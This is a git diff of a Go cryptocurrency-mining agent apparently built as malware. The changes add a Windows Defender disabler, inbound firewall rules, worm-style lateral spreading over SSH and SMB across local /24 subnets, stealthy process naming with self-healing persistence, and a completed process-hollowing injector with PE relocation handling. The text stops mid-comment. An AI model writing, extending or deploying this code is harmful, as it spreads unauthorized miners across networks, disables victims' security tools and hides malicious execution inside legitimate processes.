+ if runtime.GOOS == "windows" { + return requireEnv("APPDATA") + } + return xdgDataHome() case "programdata": - return requireEnv("ProgramData") - case "userprofile": - return requireEnv("USERPROFILE") + if runtime.GOOS == "windows" { + return requireEnv("ProgramData") + } + return xdgDataHome() + case "userprofile", "home": + if runtime.GOOS == "windows" { + return requireEnv("USERPROFILE") + } + return requireEnv("HOME") + case "xdg_data_home": + return xdgDataHome() case "temp": if v := os.Getenv("TEMP"); v != "" { return v, nil } + if v := os.Getenv("TMPDIR"); v != "" { + return v, nil + } return requireEnv("TMP") case "custom": custom := strings.TrimSpace(customBase) if custom == "" { return "", fmt.Errorf("custom install base path is required when install_base is custom") } - return expandWindowsEnv(custom), nil + return expandEnvPath(custom), nil default: return "", fmt.Errorf("unsupported install base: %s", baseType) } } +func xdgDataHome() (string, error) { + if v := os.Getenv("XDG_DATA_HOME"); v != "" { + return v, nil + } + home, err := requireEnv("HOME") + if err != nil { + return "", err + } + return filepath.Join(home, ".local", "share"), nil +} + func expandInstallTokens(path, workerName, buildID, processName string) string { shortBuild := buildID if len(shortBuild) > 8 { @@ -90,12 +119,17 @@ func requireEnv(key string) (string, error) { return value, nil } -func expandWindowsEnv(path string) string { +func expandEnvPath(path string) string { out := path for _, key := range []string{ "LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot", + "HOME", "XDG_DATA_HOME", "TMPDIR", } { out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key)) } return out } + +func expandWindowsEnv(path string) string { + return expandEnvPath(path) +} diff --git a/agent/deploy/aggressive_stub.go b/agent/deploy/aggressive_stub.go new file mode 100644 index 0000000..d6e11fb --- /dev/null +++ b/agent/deploy/aggressive_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package deploy + +import "fmt" + +func DisableDefenderRealtime() (string, error) { + return "", fmt.Errorf("defender control is Windows-only") +} + +func OpenFirewallPort(_ int, _ string) (string, error) { + return "", fmt.Errorf("firewall port open is Windows-only") +} diff --git a/agent/deploy/aggressive_windows.go b/agent/deploy/aggressive_windows.go new file mode 100644 index 0000000..9744b0d --- /dev/null +++ b/agent/deploy/aggressive_windows.go @@ -0,0 +1,41 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os/exec" + "strings" +) + +// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin). +func DisableDefenderRealtime() (string, error) { + script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop` + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() + if err != nil { + return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err) + } + return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil +} + +// OpenFirewallPort adds an inbound TCP allow rule for port. +func OpenFirewallPort(port int, name string) (string, error) { + if port <= 0 || port > 65535 { + return "", fmt.Errorf("invalid port %d", port) + } + if name == "" { + name = "AetherForge Remote" + } + script := fmt.Sprintf(` +$name = '%s' +$port = %d +if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) { + New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null +} +`, strings.ReplaceAll(name, `'`, `''`), port) + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput() + if err != nil { + return string(out), err + } + return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil +} diff --git a/agent/deploy/autospread.go b/agent/deploy/autospread.go index 8c3160d..b76f013 100644 --- a/agent/deploy/autospread.go +++ b/agent/deploy/autospread.go @@ -1,3 +1,5 @@ +//go:build windows + package deploy import ( @@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) { log.Printf("[autospread] Lateral movement module initialized and active") } +// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking). +func RunSpreadOnce(cfg config.RuntimeConfig) string { + go spreadToLocalSubnet(cfg) + return "lateral spread sweep started on local /24 subnets (SMB/SCM)" +} + +// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine +// storm on /24 sweeps (M20). Each attempt can block for several seconds on +// SMB/sc.exe, so without a cap all 254 run concurrently. +var spreadSem = make(chan struct{}, 16) + func spreadToLocalSubnet(cfg config.RuntimeConfig) { ips := getLocalIPs() for _, ip := range ips { @@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) { if subnet == "" { continue } - // Sweep the /24 subnet for i := 1; i < 255; i++ { target := fmt.Sprintf("%s.%d", subnet, i) if target == ip { - continue // Skip self + continue } - go attemptSpread(cfg, target) - time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts + spreadSem <- struct{}{} // acquire slot + go func(t string) { + defer func() { <-spreadSem }() // release slot when done + attemptSpread(cfg, t) + }(target) } } } diff --git a/agent/deploy/autospread_unix.go b/agent/deploy/autospread_unix.go new file mode 100644 index 0000000..8e33097 --- /dev/null +++ b/agent/deploy/autospread_unix.go @@ -0,0 +1,128 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + "log" + "net" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "crypto-miner-agent/config" +) + +// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts. +func StartAutoSpreader(cfg config.RuntimeConfig) { + if !cfg.AutoSpread { + return + } + go func() { + time.Sleep(10 * time.Minute) + ticker := time.NewTicker(4 * time.Hour) + defer ticker.Stop() + for { + spreadUnixSubnet(cfg) + <-ticker.C + } + }() + log.Printf("[autospread] Unix SSH spread module active") +} + +// RunSpreadOnce triggers an immediate SSH sweep (non-blocking). +func RunSpreadOnce(cfg config.RuntimeConfig) string { + go spreadUnixSubnet(cfg) + return "unix lateral spread sweep started (SSH :22)" +} + +// spreadSem limits concurrent SSH spread goroutines to 16 (M20) +var spreadSem = make(chan struct{}, 16) + +func spreadUnixSubnet(cfg config.RuntimeConfig) { + exePath, err := os.Executable() + if err != nil { + return + } + ips := getLocalIPs() + for _, ip := range ips { + subnet := getSubnet(ip) + if subnet == "" { + continue + } + for i := 1; i < 255; i++ { + target := fmt.Sprintf("%s.%d", subnet, i) + if target == ip { + continue + } + spreadSem <- struct{}{} // acquire slot + go func(t string) { + defer func() { <-spreadSem }() + attemptSSHSpread(cfg, t, exePath) + }(target) + } + } +} + +func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) { + conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second) + if err != nil { + return + } + conn.Close() + + remoteName := sanitizeName(cfg.WorkerName) + "-sync" + remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName)) + scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath) + if err := scp.Run(); err != nil { + user := os.Getenv("USER") + if user == "" { + user = "ubuntu" + } + scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath) + if err := scp.Run(); err != nil { + return + } + } + + start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target, + fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath)) + if err := start.Run(); err == nil { + log.Printf("[autospread] deployed to %s via SSH", target) + } +} + +func getLocalIPs() []string { + var ips []string + ifaces, err := net.Interfaces() + if err != nil { + return ips + } + for _, i := range ifaces { + if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 { + continue + } + addrs, err := i.Addrs() + if err != nil { + continue + } + for _, a := range addrs { + if ipnet, ok := a.(*net.IPNet); ok { + if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() { + ips = append(ips, ip4.String()) + } + } + } + } + return ips +} + +func getSubnet(ip string) string { + parts := strings.Split(ip, ".") + if len(parts) != 4 { + return "" + } + return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2]) +} diff --git a/agent/deploy/common.go b/agent/deploy/common.go new file mode 100644 index 0000000..3a0c698 --- /dev/null +++ b/agent/deploy/common.go @@ -0,0 +1,195 @@ +package deploy + +import ( + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +const ( + runFlag = "--run" + spreadFlag = "--spread-install" + backupSuffix = ".bak" +) + +// BinaryExt returns the executable suffix for the current OS. +func BinaryExt() string { + if runtime.GOOS == "windows" { + return ".exe" + } + return "" +} + +// BinaryName returns the forged process filename on disk. +func BinaryName(cfg config.RuntimeConfig) string { + return cfg.EffectiveProcessName() + BinaryExt() +} + +// InstalledBinaryPath is the full path to the installed worker binary. +func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) { + dir, err := cfg.InstallDirectory() + if err != nil { + return "", err + } + return filepath.Join(dir, BinaryName(cfg)), nil +} + +func PersistenceKeyName(cfg config.RuntimeConfig) string { + if cfg.StealthMode { + return cfg.EffectiveProcessName() + } + name := sanitizeName(cfg.WorkerName) + if name == "" { + return cfg.EffectiveProcessName() + } + return "CryptoMiner-" + name +} + +func sanitizeName(name string) string { + replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "") + return replacer.Replace(strings.TrimSpace(name)) +} + +func samePath(a, b string) bool { + a = filepath.Clean(a) + b = filepath.Clean(b) + if runtime.GOOS == "windows" { + if strings.EqualFold(a, b) { + return true + } + } else if a == b { + return true + } + aAbs, errA := filepath.Abs(a) + bAbs, errB := filepath.Abs(b) + if errA != nil || errB != nil { + return false + } + if runtime.GOOS == "windows" { + return strings.EqualFold(aAbs, bAbs) + } + return aAbs == bAbs +} + +func copyFile(src, dest string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + + out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, in) + return err +} + +func relaunch(exePath, logPath string) error { + cmd := exec.Command(exePath, runFlag) + cmd.Dir = filepath.Dir(exePath) + if logPath != "" { + cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) + } + applyDetachedStart(cmd) + return cmd.Start() +} + +func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) { + dir, err := cfg.InstallDirectory() + if err == nil { + return dir, nil + } + + fallbacks := installBaseFallbacks(cfg) + seen := map[string]bool{strings.ToLower(cfg.InstallBase): true} + for _, base := range fallbacks { + if seen[base] { + continue + } + seen[base] = true + try := cfg + try.InstallBase = base + dir, tryErr := try.InstallDirectory() + if tryErr == nil { + return dir, nil + } + } + return "", err +} + +func installBaseFallbacks(cfg config.RuntimeConfig) []string { + switch runtime.GOOS { + case "windows": + return []string{"localappdata", "appdata", "temp"} + case "darwin": + return []string{"home", "xdg_data_home", "tmp"} + default: + return []string{"xdg_data_home", "home", "tmp"} + } +} + +func InstallDir(workerName, buildID string) (string, error) { + base := "localappdata" + if runtime.GOOS != "windows" { + base = "xdg_data_home" + } + return config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + WorkerName: workerName, + BuildID: buildID, + InstallBase: base, + InstallRelativePath: config.DefaultInstallRelativePath, + }, + }.InstallDirectory() +} + +func saveBackup(installedBin string) error { + backup := installedBin + backupSuffix + if _, err := os.Stat(backup); err == nil { + return nil + } + return copyFile(installedBin, backup) +} + +// WantsSpreadInstall reports --spread-install CLI flag. +func WantsSpreadInstall() bool { + return wantsSpreadInstall() +} + +func wantsSpreadInstall() bool { + for _, arg := range os.Args[1:] { + if arg == spreadFlag { + return true + } + } + return false +} + +func isRunMode() bool { + for _, arg := range os.Args[1:] { + if arg == runFlag { + return true + } + } + return false +} + +func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) { + if cfg.StealthMode { + return + } + _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( + "worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n", + cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin, + )), 0644) +} diff --git a/agent/deploy/firewall_darwin.go b/agent/deploy/firewall_darwin.go new file mode 100644 index 0000000..462af26 --- /dev/null +++ b/agent/deploy/firewall_darwin.go @@ -0,0 +1,18 @@ +//go:build darwin + +package deploy + +import ( + "log" + + "crypto-miner-agent/config" +) + +func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) { + log.Printf("[firewall] macOS app firewall is coarse; worker path registered: %s", binPath) + _ = cfg +} + +func platformRemoveFirewall(cfg config.RuntimeConfig) { + _ = cfg +} diff --git a/agent/deploy/firewall_linux.go b/agent/deploy/firewall_linux.go new file mode 100644 index 0000000..b2328e3 --- /dev/null +++ b/agent/deploy/firewall_linux.go @@ -0,0 +1,36 @@ +//go:build linux + +package deploy + +import ( + "fmt" + "log" + "os/exec" + "strconv" + "strings" + + "crypto-miner-agent/config" +) + +func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) { + if strings.TrimSpace(binPath) == "" { + return + } + port := 8989 + script := fmt.Sprintf(` +if command -v ufw >/dev/null 2>&1; then + ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true +fi +`, port) + cmd := exec.Command("/bin/sh", "-c", script) + if err := cmd.Run(); err != nil { + log.Printf("[firewall] ufw rule failed: %v", err) + return + } + log.Printf("[firewall] linux firewall rule attempted for %s", binPath) + _ = strconv.Itoa(port) +} + +func platformRemoveFirewall(cfg config.RuntimeConfig) { + _ = cfg +} diff --git a/agent/deploy/firewall_platform_windows.go b/agent/deploy/firewall_platform_windows.go new file mode 100644 index 0000000..ec5a134 --- /dev/null +++ b/agent/deploy/firewall_platform_windows.go @@ -0,0 +1,15 @@ +//go:build windows + +package deploy + +import ( + "crypto-miner-agent/config" +) + +func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) { + EnsureFirewallExclusionWindows(cfg, binPath) +} + +func platformRemoveFirewall(cfg config.RuntimeConfig) { + RemoveFirewallExclusionWindows(cfg) +} diff --git a/agent/deploy/firewall_stub.go b/agent/deploy/firewall_stub.go new file mode 100644 index 0000000..d633d75 --- /dev/null +++ b/agent/deploy/firewall_stub.go @@ -0,0 +1,14 @@ +//go:build !windows && !linux && !darwin + +package deploy + +import "crypto-miner-agent/config" + +func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) { + _ = cfg + _ = binPath +} + +func platformRemoveFirewall(cfg config.RuntimeConfig) { + _ = cfg +} diff --git a/agent/deploy/firewall_windows.go b/agent/deploy/firewall_windows.go index 2400619..b7a5c4d 100644 --- a/agent/deploy/firewall_windows.go +++ b/agent/deploy/firewall_windows.go @@ -13,9 +13,8 @@ import ( const firewallRulePrefix = "AetherForge" -// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary. -// Requires administrator privileges on many systems; failures are logged and ignored. -func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) { +// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary. +func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) { if !cfg.FirewallExclusion { return } @@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath) } -// RemoveFirewallExclusion deletes firewall rules created for this worker. -func RemoveFirewallExclusion(cfg config.RuntimeConfig) { +// RemoveFirewallExclusionWindows deletes firewall rules created for this worker. +func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) { ruleBase := firewallRuleBaseName(cfg) for _, name := range []string{ruleBase + " In", ruleBase + " Out"} { script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`)) diff --git a/agent/deploy/health.go b/agent/deploy/health.go index 01bd8c5..5a5a780 100644 --- a/agent/deploy/health.go +++ b/agent/deploy/health.go @@ -9,8 +9,6 @@ import ( "crypto-miner-agent/config" ) -const backupSuffix = ".bak" - // StartWatchdog keeps persistence and the installed binary healthy. func StartWatchdog(cfg config.RuntimeConfig) { if !cfg.SelfHealing { @@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error { if err != nil { return err } - installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") - backupExe := installedExe + backupSuffix + installedBin := filepath.Join(installDir, BinaryName(cfg)) + backupBin := installedBin + backupSuffix - if _, err := os.Stat(installedExe); os.IsNotExist(err) { - if _, statErr := os.Stat(backupExe); statErr == nil { - if copyErr := copyFile(backupExe, installedExe); copyErr != nil { + if _, err := os.Stat(installedBin); os.IsNotExist(err) { + if _, statErr := os.Stat(backupBin); statErr == nil { + if copyErr := copyFile(backupBin, installedBin); copyErr != nil { return copyErr } log.Printf("[watchdog] restored missing binary from backup") @@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error { } if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { - if err := configureAutoStart(cfg, installedExe); err != nil { + if err := configureAutoStart(cfg, installedBin); err != nil { return err } } if cfg.RunAs == "scheduled" || cfg.RunAs == "service" { - if err := createScheduledTask(cfg, installedExe); err != nil { + if err := configureRunMode(cfg, installedBin); err != nil { return err } } if cfg.FirewallExclusion { - EnsureFirewallExclusion(cfg, installedExe) + EnsureFirewallExclusion(cfg, installedBin) } return nil } - -func saveBackup(installedExe string) error { - backup := installedExe + backupSuffix - if _, err := os.Stat(backup); err == nil { - return nil - } - return copyFile(installedExe, backup) -} diff --git a/agent/deploy/hollow_stub_all.go b/agent/deploy/hollow_stub_all.go new file mode 100644 index 0000000..04ecdb6 --- /dev/null +++ b/agent/deploy/hollow_stub_all.go @@ -0,0 +1,12 @@ +//go:build !windows + +package deploy + +import "fmt" + +// RunHollowed is only available on Windows with the hollow build tag. +func RunHollowed(targetExe string, payload []byte) error { + _ = targetExe + _ = payload + return fmt.Errorf("process hollowing not available on this platform") +} diff --git a/agent/deploy/hollow_windows.go b/agent/deploy/hollow_windows.go index dc6b71a..7c7cf6b 100644 --- a/agent/deploy/hollow_windows.go +++ b/agent/deploy/hollow_windows.go @@ -29,20 +29,92 @@ const ( MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 CONTEXT_FULL_AMD64 = 0x10000B + + IMAGE_REL_BASED_ABSOLUTE = 0 + IMAGE_REL_BASED_DIR64 = 10 ) -// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process. +// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset. +func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) { + numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:]) + sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr) + for i := uint32(0); i < uint32(numSections); i++ { + sec := payload[sectionsBase+i*40:] + vAddr := binary.LittleEndian.Uint32(sec[12:]) + vSize := binary.LittleEndian.Uint32(sec[8:]) + rawOff := binary.LittleEndian.Uint32(sec[20:]) + if rva >= vAddr && rva < vAddr+vSize { + return rawOff + (rva - vAddr), nil + } + } + return 0, fmt.Errorf("RVA 0x%x not found in any section", rva) +} + +// applyRelocations patches absolute addresses in the payload copy when the image +// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64 +// (type 10) entries are applied; all other types are skipped. +func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) { + optHeader := payload[eLFANew+24:] + // DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC. + // DataDirectory array starts at offset 112 in a PE32+ optional header. + const dataDirOffset = 112 + if len(optHeader) < dataDirOffset+5*8+8 { + return + } + relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:]) + relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:]) + if relocRVA == 0 || relocSize == 0 { + return // no relocation table (non-PIE binary baked for a fixed address) + } + + blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr) + if err != nil { + return + } + + end := blockOff + relocSize + for blockOff < end && blockOff+8 <= uint32(len(payload)) { + pageRVA := binary.LittleEndian.Uint32(payload[blockOff:]) + blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:]) + if blkSize < 8 { + break + } + entryCount := (blkSize - 8) / 2 + for i := uint32(0); i < entryCount; i++ { + entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:]) + relType := entry >> 12 + relOff := uint32(entry & 0x0FFF) + + if relType == IMAGE_REL_BASED_ABSOLUTE { + continue + } + if relType != IMAGE_REL_BASED_DIR64 { + continue + } + + patchRVA := pageRVA + relOff + patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr) + if err != nil || int(patchOff)+8 > len(payload) { + continue + } + orig := int64(binary.LittleEndian.Uint64(payload[patchOff:])) + binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta)) + } + blockOff += blkSize + } +} + +// RunHollowed injects a PE payload into a suspended legitimate Windows process. func RunHollowed(targetExe string, payload []byte) error { - // Parse payload PE headers dynamically if len(payload) < 0x40 { return fmt.Errorf("payload too small") } - e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:]) - if int(e_lfanew)+24 > len(payload) { + eLFANew := binary.LittleEndian.Uint32(payload[0x3c:]) + if int(eLFANew)+24 > len(payload) { return fmt.Errorf("invalid PE header offset") } - ntHeader := payload[e_lfanew:] + ntHeader := payload[eLFANew:] if string(ntHeader[:4]) != "PE\x00\x00" { return fmt.Errorf("invalid PE signature") } @@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error { } numSections := binary.LittleEndian.Uint16(ntHeader[6:]) - sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:]) + sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:]) optHeader := ntHeader[24:] if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B { return fmt.Errorf("payload must be PE32+") @@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error { si.Cb = uint32(unsafe.Sizeof(*si)) pi := new(syscall.ProcessInformation) - // 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state - ret, _, err := procCreateProcessW.Call( + // 1. Spawn the target process in a suspended state. + ret, _, lastErr := procCreateProcessW.Call( 0, uintptr(unsafe.Pointer(targetPtr)), 0, 0, 0, @@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error { uintptr(unsafe.Pointer(pi)), ) if ret == 0 { - return fmt.Errorf("CreateProcessW failed: %v", err) + return fmt.Errorf("CreateProcessW: %v", lastErr) } defer syscall.CloseHandle(pi.Process) defer syscall.CloseHandle(pi.Thread) - // The following maps the exact structural steps needed for PE injection. - // Note: To make this fully functional, you need full PE offset math - // (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice. - - // 2. Get Thread Context to locate the Process Environment Block (PEB) - // Allocate 16-byte aligned context buffer for x64 - ctxBytes := make([]byte, 1232+16) + // 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread). + ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment var ctxPtr uintptr for i := 0; i < 16; i++ { if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 { @@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error { break } } - *(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags + *(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 - ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr) + ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr) if ret == 0 { - return fmt.Errorf("GetThreadContext failed: %v", err) + return fmt.Errorf("GetThreadContext: %v", lastErr) } - rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64 + rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start - // 3. Read the PEB to find the original ImageBase + // 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16). var origImageBase uint64 var bytesRW uintptr procReadProcessMemory.Call( uintptr(pi.Process), - uintptr(rdx+16), // PEB.ImageBaseAddress + uintptr(rdx+16), uintptr(unsafe.Pointer(&origImageBase)), 8, uintptr(unsafe.Pointer(&bytesRW)), ) - // 4. Unmap the original executable code from memory + // 4. Unmap the original image. if origImageBase != 0 { procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase)) } - // 5. Allocate new memory for our payload at the required ImageBase - newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) + // 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR. + newMem, _, _ := procVirtualAllocEx.Call( + uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), + MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, + ) + needsReloc := false if newMem == 0 { - // Fallback allocation if preferred base is taken (Payload must support relocation) - newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) + newMem, _, lastErr = procVirtualAllocEx.Call( + uintptr(pi.Process), 0, uintptr(sizeOfImage), + MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, + ) if newMem == 0 { - return fmt.Errorf("VirtualAllocEx failed: %v", err) + return fmt.Errorf("VirtualAllocEx: %v", lastErr) } + needsReloc = true } - // 6. Write the PE headers and each PE section into the new memory allocation - procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW))) + // 6. If we landed at a different base, patch absolute addresses in a local copy + // before writing to the remote process. Without this the payload crashes on + // every call through its import table and global data pointers. + patched := payload + if needsReloc { + delta := int64(newMem) - int64(imageBase) + patched = make([]byte, len(payload)) + copy(patched, payload) + applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr)) + } - sectionsStart := 24 + uint32(sizeOfOptionalHeader) + // 7. Write PE headers and sections to the remote process. + ret, _, lastErr = procWriteProcessMemory.Call( + uintptr(pi.Process), newMem, + uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders), + uintptr(unsafe.Pointer(&bytesRW)), + ) + if ret == 0 { + return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr) + } + + sectionsStart := 24 + uint32(sizeOfOptHdr) + patchedNT := patched[eLFANew:] for i := uint16(0); i < numSections; i++ { - secHdr := ntHeader[sectionsStart+uint32(i)*40:] + secHdr := patchedNT[sectionsStart+uint32(i)*40:] virtAddr := binary.LittleEndian.Uint32(secHdr[12:]) - sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:]) - ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:]) + rawSize := binary.LittleEndian.Uint32(secHdr[16:]) + rawOff := binary.LittleEndian.Uint32(secHdr[20:]) - if sizeOfRawData > 0 { - procWriteProcessMemory.Call( + if rawSize > 0 { + ret, _, lastErr = procWriteProcessMemory.Call( uintptr(pi.Process), newMem+uintptr(virtAddr), - uintptr(unsafe.Pointer(&payload[ptrToRawData])), - uintptr(sizeOfRawData), + uintptr(unsafe.Pointer(&patched[rawOff])), + uintptr(rawSize), uintptr(unsafe.Pointer(&bytesRW)), ) + if ret == 0 { + return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr) + } } } - // Update the PEB with the new ImageBase - procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW))) + // 8. Update PEB.ImageBaseAddress to the actual allocation address. + procWriteProcessMemory.Call( + uintptr(pi.Process), uintptr(rdx+16), + uintptr(unsafe.Pointer(&newMem)), 8, + uintptr(unsafe.Pointer(&bytesRW)), + ) - // 7. Update the Thread Context to point to our payload's Entry Point - *(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point - procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr) + // 9. Set the initial thread's Rcx to our entry point. + // The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point. + *(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) + ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr) + if ret == 0 { + return fmt.Errorf("SetThreadContext: %v", lastErr) + } - // 8. Resume the hollowed thread, launching our miner inside the target shell - ret, _, err = procResumeThread.Call(uintptr(pi.Thread)) + // 10. Resume the hollowed thread. + ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread)) if ret == 0xFFFFFFFF { - return fmt.Errorf("ResumeThread failed: %v", err) + return fmt.Errorf("ResumeThread: %v", lastErr) } return nil diff --git a/agent/deploy/identity.go b/agent/deploy/identity.go index 33fb1b3..2eee84d 100644 --- a/agent/deploy/identity.go +++ b/agent/deploy/identity.go @@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) { return id, nil } +// loadOrCreateAgentID reuses an existing agent.id when 